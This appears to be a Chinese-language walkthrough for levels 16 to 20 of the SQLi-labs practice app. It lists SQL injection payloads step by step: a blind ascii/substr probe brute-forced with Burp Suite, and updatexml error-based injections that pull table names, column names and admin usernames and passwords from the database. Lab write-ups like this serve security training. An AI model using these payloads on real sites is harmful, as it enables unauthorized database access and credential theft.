一,less-16
1,打开less-16并判断闭合方式
2,使用BP工具进行爆破得到下表(库名)
") and ascii(substr(database(),1,1))=115--+
3,如步骤二所示,使用对应的命令依次爆破出表名,字段名和数据
二,less-17
1,打开less-17并判断闭合
2,查库名
1' and (updatexml(1,concat(0x7e, database(),0x7e),1))#
3,查表名
1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1) #
4,查字段名
1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)#
5,获得数据
1' and updatexml(1,concat(0x7e,(select password from (select password from users where username='admin') mingzi ),0x7e),1)#
三,less-18
1,打开less-18
2,使用BP进行爆破获得数据
1'and updatexml(1,concat(1,(select group_concat(id,username,password) from users)),1) or'
四,less-19
1,打开less-19
2,使用BP爆破得到数据库名
3,如步骤二所示依次获得表名,字段名和数据
五,less-20
1,打开less-20,使用dumb 123进行登陆
2,使用BP查库名
'and updatexml(1,concat(1,database()),1) --+
3,查表名
' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) --+
4,查字段名
' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) --+
5,获得数据
' and updatexml(1,concat(1,(select group_concat(username,password)from users)),1) --+